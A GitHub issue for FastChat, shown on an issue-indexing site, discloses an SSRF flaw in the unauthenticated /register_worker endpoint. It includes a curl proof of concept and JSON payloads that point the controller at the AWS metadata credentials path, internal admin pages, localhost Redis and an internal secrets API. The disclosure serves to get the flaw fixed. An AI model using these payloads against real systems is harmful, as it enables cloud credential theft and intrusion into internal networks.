lm-sys / lm-sys/FastChat

SSRF via Unauthenticated Worker Registration

Open
#3,776 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
39.5k
Forks
4.8k
PR merge metrics
No merged PRs in 30d

Description

Hello, in FastChat controller exposes an unauthenticated `/register_worker` endpoint that allows anyone to register a model worker with an arbitrary URL. The controller then makes HTTP requests to this URL during heartbeat checks and other operations, enabling Server-Side Request Forgery (SSRF).

### Vulnerable Code - Unauthenticated Endpoint (controller.py:288-296)

```python
@app.post("/register_worker")
async def register_worker(request: Request):
data = await request.json()
controller.register_worker(
data["worker_name"], # Attacker-controlled URL!
data["check_heart_beat"],
data.get("worker_status", None),
data.get("multimodal", False),
)
```

### Vulnerable Code - SSRF Trigger (controller.py:104-106)

```python
def get_worker_status(self, worker_name: str):
try:
r = requests.post(worker_name + "/worker_get_status", timeout=5) # SSRF!
```

### Root Cause

1. The `/register_worker` endpoint has NO authentication
2. The `worker_name` parameter accepts any URL without validation
3. The controller makes requests to the registered URL during heartbeat checks
4. No validation blocks internal/private IP addresses

## Attack Vector

1. Attacker sends POST request to `/register_worker` with malicious URL
2. Controller stores the URL as a valid worker address
3. Controller makes HTTP requests to the malicious URL:
- During heartbeat checks (every few seconds)
- When retrieving worker status
- When routing model requests
4. SSRF achieved - attacker can access internal services

## Proof of Concept

### Step 1: Register Malicious Worker

```bash
curl -X POST http://target:21001/register_worker \
-H "Content-Type: application/json" \
-d '{
"worker_name": "http://169.254.169.254/latest/meta-data/",
"check_heart_beat": true,
"multimodal": false
}'
```

### Step 2: Controller Makes SSRF Request

The controller automatically makes a request to:
```
http://169.254.169.254/latest/meta-data//worker_get_status
```

This accesses AWS EC2 instance metadata!

### Attack Payloads

1. **AWS Metadata Access**:
```json
{"worker_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
```

2. **Internal Network Scanning**:
```json
{"worker_name": "http://192.168.1.1:8080/admin"}
```

3. **Localhost Service Access**:
```json
{"worker_name": "http://127.0.0.1:6379"}
```

4. **Internal API Access**:
```json
{"worker_name": "http://internal-api.company.local/secrets"}
```

### Code Path Verification Output

```
[!] VULNERABLE: Unauthenticated /register_worker endpoint
[!] VULNERABLE: SSRF in get_worker_status()

Line 288: @app.post("/register_worker")
Line 289: async def register_worker(request: Request):
Line 290: data = await request.json()
Line 291: controller.register_worker(
Line 292: data["worker_name"],

Line 106: r = requests.post(worker_name + "/worker_get_status", timeout=5)
```

## Impact

- **Cloud Credential Theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
- **Internal Network Access**: Bypass firewalls to access internal services
- **Port Scanning**: Enumerate internal network services
- **Data Exfiltration**: Access internal APIs and databases
- **Lateral Movement**: Use stolen credentials for further attacks

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by reviewing controller.py at the /register_worker endpoint (lines 288-296) and get_worker_status() (lines 104-106), then trace where registered worker URLs are used. Reproduce the reported registration and heartbeat request path in a safe test environment. Done should prevent unauthenticated arbitrary worker URLs from causing requests to internal or private addresses.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.